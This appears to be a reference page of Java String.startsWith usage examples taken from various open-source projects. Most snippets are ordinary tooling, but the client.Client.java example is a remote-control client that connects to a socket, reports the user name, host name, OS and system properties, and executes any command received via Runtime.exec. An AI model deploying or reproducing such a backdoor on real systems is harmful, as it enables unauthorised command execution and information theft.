List of usage examples for java.lang String startsWith
public boolean startsWith(String prefix)
From source file:com.act.biointerpretation.ProductExtractor.java
public static void main(String[] args) throws Exception { CLIUtil cliUtil = new CLIUtil(ProductExtractor.class, HELP_MESSAGE, OPTION_BUILDERS); CommandLine cl = cliUtil.parseCommandLine(args); String orgPrefix = cl.getOptionValue(OPTION_ORGANISM_PREFIX); LOGGER.info("Using organism prefix %s", orgPrefix); MongoDB db = new MongoDB(DEFAULT_DB_HOST, DEFAULT_DB_PORT, cl.getOptionValue(OPTION_DB_NAME)); Map<Long, String> validOrganisms = new TreeMap<>(); DBIterator orgIter = db.getDbIteratorOverOrgs(); Organism o = null;// w w w. j ava2 s. c om while ((o = db.getNextOrganism(orgIter)) != null) { if (!o.getName().isEmpty() && o.getName().startsWith(orgPrefix)) { validOrganisms.put(o.getUUID(), o.getName()); } } LOGGER.info("Found %d valid organisms", validOrganisms.size()); Set<Long> productIds = new TreeSet<>(); // Use something with implicit ordering we can traverse in order. DBIterator reactionIterator = db.getIteratorOverReactions(); Reaction r; while ((r = db.getNextReaction(reactionIterator)) != null) { Set<JSONObject> proteins = r.getProteinData(); boolean valid = false; for (JSONObject j : proteins) { if (j.has("organism") && validOrganisms.containsKey(j.getLong("organism"))) { valid = true; break; } else if (j.has("organisms")) { JSONArray organisms = j.getJSONArray("organisms"); for (int i = 0; i < organisms.length(); i++) { if (validOrganisms.containsKey(organisms.getLong(i))) { valid = true; break; } } } } if (valid) { for (Long id : r.getProducts()) { productIds.add(id); } for (Long id : r.getProductCofactors()) { productIds.add(id); } } } LOGGER.info("Found %d valid product ids for '%s'", productIds.size(), orgPrefix); PrintWriter writer = cl.hasOption(OPTION_OUTPUT_FILE) ? new PrintWriter(new FileWriter(cl.getOptionValue(OPTION_OUTPUT_FILE))) : new PrintWriter(System.out); for (Long id : productIds) { Chemical c = db.getChemicalFromChemicalUUID(id); String inchi = c.getInChI(); if (inchi.startsWith("InChI=") && !inchi.startsWith("InChI=/FAKE")) { writer.println(inchi); } } if (cl.hasOption(OPTION_OUTPUT_FILE)) { writer.close(); } LOGGER.info("Done."); }
From source file:de.tudarmstadt.ukp.argumentation.data.roomfordebate.DataFetcher.java
public static void main(String[] args) throws Exception { File crawledPagesFolder = new File(args[0]); if (!crawledPagesFolder.exists()) { crawledPagesFolder.mkdirs();//from w w w. j ava2s.c om } File outputFolder = new File(args[1]); if (!outputFolder.exists()) { outputFolder.mkdirs(); } // read links from text file final String urlsResourceName = "roomfordebate-urls.txt"; InputStream urlsStream = DataFetcher.class.getClassLoader().getResourceAsStream(urlsResourceName); if (urlsStream == null) { throw new IOException("Cannot find resource " + urlsResourceName + " on the classpath"); } // read list of urls List<String> urls = new ArrayList<>(); LineIterator iterator = IOUtils.lineIterator(urlsStream, "utf-8"); while (iterator.hasNext()) { // ignore commented url (line starts with #) String line = iterator.nextLine(); if (!line.startsWith("#") && !line.trim().isEmpty()) { urls.add(line.trim()); } } // download all crawlPages(urls, crawledPagesFolder); List<File> files = new ArrayList<>(FileUtils.listFiles(crawledPagesFolder, null, false)); Collections.sort(files, new Comparator<File>() { @Override public int compare(File o1, File o2) { return o1.getName().compareTo(o2.getName()); } }); int idCounter = 0; for (File file : files) { NYTimesCommentsScraper commentsScraper = new NYTimesCommentsScraper(); NYTimesArticleExtractor extractor = new NYTimesArticleExtractor(); String html = FileUtils.readFileToString(file, "utf-8"); idCounter++; File outputFileArticle = new File(outputFolder, String.format("Cx%03d.txt", idCounter)); File outputFileComments = new File(outputFolder, String.format("Dx%03d.txt", idCounter)); try { List<Comment> comments = commentsScraper.extractComments(html); Article article = extractor.extractArticle(html); saveArticleToText(article, outputFileArticle); System.out.println("Saved to " + outputFileArticle); saveCommentsToText(comments, outputFileComments, article); System.out.println("Saved to " + outputFileComments); } catch (IOException ex) { System.err.println(file.getName() + "\n" + ex.getMessage()); } } }
From source file:cc.vidr.datum.tools.Console.java
public static void main(String[] args) throws IOException { System.out.print("Warming up... "); System.out.flush();//from ww w. ja v a 2s . c o m QA.query(""); System.out.println("Ready."); System.out.println("Ask me a question. Leave a blank line to exit."); BufferedReader in = new BufferedReader(new InputStreamReader(System.in)); while (true) { int numServers = Server.getNumServers(); int numFacts = Server.getNumFacts(); System.out.print("> "); String q = in.readLine(); if (q == null || q.isEmpty()) { System.out.println("Bye."); break; } Literal[] facts; if (q.startsWith("?-")) { try { Program program = new Program(q.substring(2)); Clause[] query = program.parse(); facts = Server.query(query[0].getHead()); } catch (RecognitionException e) { facts = new Literal[0]; } } else { facts = QA.query(q); } for (Literal fact : facts) printFact(fact, 0); if (facts.length == 0) System.out.println("I don't know."); if (DEBUG) { System.err.println((Server.getNumServers() - numServers) + " servers spawned"); System.err.println((Server.getNumFacts() - numFacts) + " facts retrieved/generated"); } } }
From source file:MainClass.java
public static void main(String[] args) throws Exception { ParserGetter kit = new ParserGetter(); HTMLEditorKit.Parser parser = kit.getParser(); URL u = new URL("http://www.java2s.com"); InputStream in = u.openStream(); InputStreamReader r = new InputStreamReader(in); String remoteFileName = u.getFile(); if (remoteFileName.endsWith("/")) { remoteFileName += "index.html"; }// ww w. j a v a2 s .c om if (remoteFileName.startsWith("/")) { remoteFileName = remoteFileName.substring(1); } File localDirectory = new File(u.getHost()); while (remoteFileName.indexOf('/') > -1) { String part = remoteFileName.substring(0, remoteFileName.indexOf('/')); remoteFileName = remoteFileName.substring(remoteFileName.indexOf('/') + 1); localDirectory = new File(localDirectory, part); } if (localDirectory.mkdirs()) { File output = new File(localDirectory, remoteFileName); FileWriter out = new FileWriter(output); HTMLEditorKit.ParserCallback callback = new PageSaver(out, u); parser.parse(r, callback, false); } }
From source file:client.Client.java
/** * @param args the command line arguments *///from w w w . ja va 2s. c om public static void main(String[] args) throws Exception { Socket st = new Socket("127.0.0.1", 1604); BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream())); PrintWriter p = new PrintWriter(st.getOutputStream()); while (true) { String s = r.readLine(); new Thread() { @Override public void run() { String[] ar = s.split("\\|"); if (s.startsWith("HALLO")) { String str = ""; try { str = InetAddress.getLocalHost().getHostName(); } catch (Exception e) { } p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|" + System.getProperty("os.name") + "|" + str); p.flush(); } if (s.startsWith("msg")) { String text = fromHex(ar[1]); String title = ar[2]; int i = Integer.parseInt(ar[3]); JOptionPane.showMessageDialog(null, text, title, i); } if (s.startsWith("execute")) { String cmd = ar[1]; try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { } } if (s.equals("getsystem")) { StringBuilder sb = new StringBuilder(); for (Object o : System.getProperties().entrySet()) { Map.Entry e = (Map.Entry) o; sb.append("\n" + e.getKey() + "|" + e.getValue()); } p.println("systeminfos|" + toHex(sb.toString().substring(1))); p.flush(); } } }.start(); } }
From source file:com.termmed.utils.ResourceUtils.java
/** * The main method./*from ww w .ja v a 2 s . co m*/ * * @param args the arguments */ public static void main(final String[] args) { // Pattern pattern; // if(args.length < 1){ // pattern = Pattern.compile(".*"); // } else{ // pattern = Pattern.compile(args[0]); // } // final Collection<String> list = ResourceUtils.getResources(pattern); Collection<String> list; try { String path = "org/ihtsdo/utils/"; list = ResourceUtils.getResourceScripts(path); for (final String file : list) { if (file.startsWith(".")) { continue; } String script = FileHelper.getTxtResourceContent(path + "/" + file); System.out.println(script); } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } }
From source file:fr.romainf.QRCode.java
public static void main(String[] args) { Options options = buildOptions();/* w w w.ja va 2 s. co m*/ CommandLineParser parser = new BasicParser(); try { CommandLine cmd = parser.parse(options, args); args = cmd.getArgs(); int l = args.length; if (l != 1) { System.out.println("Can only encode one datum at a time (" + l + " given)"); printUsage(options); System.exit(1); } if (cmd.hasOption("help")) { printUsage(options); System.exit(0); } String output = cmd.getOptionValue("o", DEFAULT_OUTPUT_FILE); String pixelColourText = cmd.getOptionValue("c", DEFAULT_PIXEL_COLOUR); if (pixelColourText.startsWith("0x")) { pixelColourText = pixelColourText.substring(2); } Color pixelColour; if (pixelColourText.length() == 6) { pixelColour = new Color(Integer.parseInt(pixelColourText, 16)); } else { pixelColour = new Color((int) Long.parseLong(pixelColourText, 16), true); } writeQRCode(args[l - 1], output, pixelColour); } catch (ParseException e) { System.out.println(e.getMessage()); printUsage(options); System.exit(1); } catch (WriterException e) { System.out.println("Could not create QRCode from data (" + e.getMessage() + ")"); System.exit(2); } catch (IOException e) { System.out.println("Could not save QRCode to file (" + e.getMessage() + ")"); System.exit(4); } System.exit(0); }
From source file:net.itransformers.idiscover.discoverylisteners.TopologyDeviceLogger.java
public static void main(String[] args) throws FileNotFoundException, JAXBException { String path = "tmp1"; File dir = new File(path); String[] files = dir.list(new FilenameFilter() { public boolean accept(File dir, String name) { return (name.startsWith("device") && name.endsWith(".xml")); }/*from w ww .j ava 2 s. c o m*/ }); TopologyDeviceLogger logger = new TopologyDeviceLogger(path); String host = "10.33.0.5"; String snmpROComm = "public"; Map<String, String> resourceParams = new HashMap<String, String>(); resourceParams.put("community", snmpROComm); resourceParams.put("version", "1"); Resource resource = new Resource(host, null, resourceParams); for (String fileName : files) { FileInputStream is = new FileInputStream(path + File.separator + fileName); DiscoveredDeviceData discoveredDeviceData = null; try { discoveredDeviceData = JaxbMarshalar.unmarshal(DiscoveredDeviceData.class, is); } finally { try { is.close(); } catch (IOException e) { e.printStackTrace(); } } String deviceName = fileName.substring("device-".length(), fileName.length() - ".xml".length()); logger.handleDevice(deviceName, null, discoveredDeviceData, resource); } }
From source file:com.gzj.tulip.jade.statement.SystemInterpreter.java
public static void main(String[] args) throws Exception { Map<String, Object> parameters = new HashMap<String, Object>(); parameters.put("table", "my_table_name"); parameters.put("id", "my_id"); parameters.put(":1", "first_param"); final Pattern PATTERN = Pattern.compile("\\{([a-zA-Z0-9_\\.\\:]+)\\}|##\\((.+)\\)"); String sql = "select form ##(:table) {name} where {id}='{1}'"; StringBuilder sb = new StringBuilder(sql.length() + 200); Matcher matcher = PATTERN.matcher(sql); int start = 0; while (matcher.find(start)) { sb.append(sql.substring(start, matcher.start())); String group = matcher.group(); String key = null;/*from w w w . j a v a2s. c om*/ if (group.startsWith("{")) { key = matcher.group(1); } else if (group.startsWith("##(")) { key = matcher.group(2); } System.out.println(key); if (key == null || key.length() == 0) { continue; } Object value = parameters.get(key); // {paramName}?{:1}? if (value == null) { if (key.startsWith(":") || key.startsWith("$")) { value = parameters.get(key.substring(1)); // {:paramName} } else { char ch = key.charAt(0); if (ch >= '0' && ch <= '9') { value = parameters.get(":" + key); // {1}? } } } if (value == null) { value = parameters.get(key); // ? } if (value != null) { sb.append(value); } else { sb.append(group); } start = matcher.end(); } sb.append(sql.substring(start)); System.out.println(sb); }
From source file:com.tamingtext.qa.WikipediaWexIndexer.java
public static void main(String[] args) throws Exception { DefaultOptionBuilder obuilder = new DefaultOptionBuilder(); ArgumentBuilder abuilder = new ArgumentBuilder(); GroupBuilder gbuilder = new GroupBuilder(); Option wikipediaFileOpt = obuilder.withLongName("wikiFile").withRequired(true) .withArgument(abuilder.withName("wikiFile").withMinimum(1).withMaximum(1).create()) .withDescription("The path to the wikipedia dump file. " + "May be a directory containing wikipedia dump files. " + "If a directory is specified, files starting with the prefix " + "freebase-segment- are used.") .withShortName("w").create(); Option numDocsOpt = obuilder.withLongName("numDocs").withRequired(false) .withArgument(abuilder.withName("numDocs").withMinimum(1).withMaximum(1).create()) .withDescription("The number of docs to index").withShortName("n").create(); Option solrURLOpt = obuilder.withLongName("solrURL").withRequired(false) .withArgument(abuilder.withName("solrURL").withMinimum(1).withMaximum(1).create()) .withDescription("The URL where Solr lives").withShortName("s").create(); Option solrBatchOpt = obuilder.withLongName("batch").withRequired(false) .withArgument(abuilder.withName("batch").withMinimum(1).withMaximum(1).create()) .withDescription("The number of docs to include in each indexing batch").withShortName("b") .create();/*ww w. j av a2 s. c o m*/ Option helpOpt = obuilder.withLongName("help").withDescription("Print out help").withShortName("h") .create(); Group group = gbuilder.withName("Options").withOption(wikipediaFileOpt).withOption(numDocsOpt) .withOption(solrURLOpt).withOption(solrBatchOpt).withOption(helpOpt).create(); Parser parser = new Parser(); parser.setGroup(group); try { CommandLine cmdLine = parser.parse(args); if (cmdLine.hasOption(helpOpt)) { CommandLineUtil.printHelp(group); return; } File file; file = new File(cmdLine.getValue(wikipediaFileOpt).toString()); File[] dumpFiles; if (file.isDirectory()) { dumpFiles = file.listFiles(new FilenameFilter() { public boolean accept(File file, String s) { return s.startsWith("freebase-segment-"); } }); } else { dumpFiles = new File[] { file }; } int numDocs = Integer.MAX_VALUE; if (cmdLine.hasOption(numDocsOpt)) { numDocs = Integer.parseInt(cmdLine.getValue(numDocsOpt).toString()); } String url = DEFAULT_SOLR_URL; if (cmdLine.hasOption(solrURLOpt)) { url = cmdLine.getValue(solrURLOpt).toString(); } int batch = 100; if (cmdLine.hasOption(solrBatchOpt)) { batch = Integer.parseInt(cmdLine.getValue(solrBatchOpt).toString()); } WikipediaWexIndexer indexer = new WikipediaWexIndexer(new CommonsHttpSolrServer(url)); int total = 0; for (int i = 0; i < dumpFiles.length && total < numDocs; i++) { File dumpFile = dumpFiles[i]; log.info("Indexing: " + file + " Num files to index: " + (numDocs - total)); long start = System.currentTimeMillis(); int totalFile = indexer.index(dumpFile, numDocs - total, batch); long finish = System.currentTimeMillis(); if (log.isInfoEnabled()) { log.info("Indexing " + dumpFile + " took " + (finish - start) + " ms"); } total += totalFile; log.info("Done Indexing: " + file + ". Indexed " + totalFile + " docs for that file and " + total + " overall."); } log.info("Indexed " + total + " docs overall."); } catch (OptionException e) { log.error("Exception", e); CommandLineUtil.printHelp(group); return; } }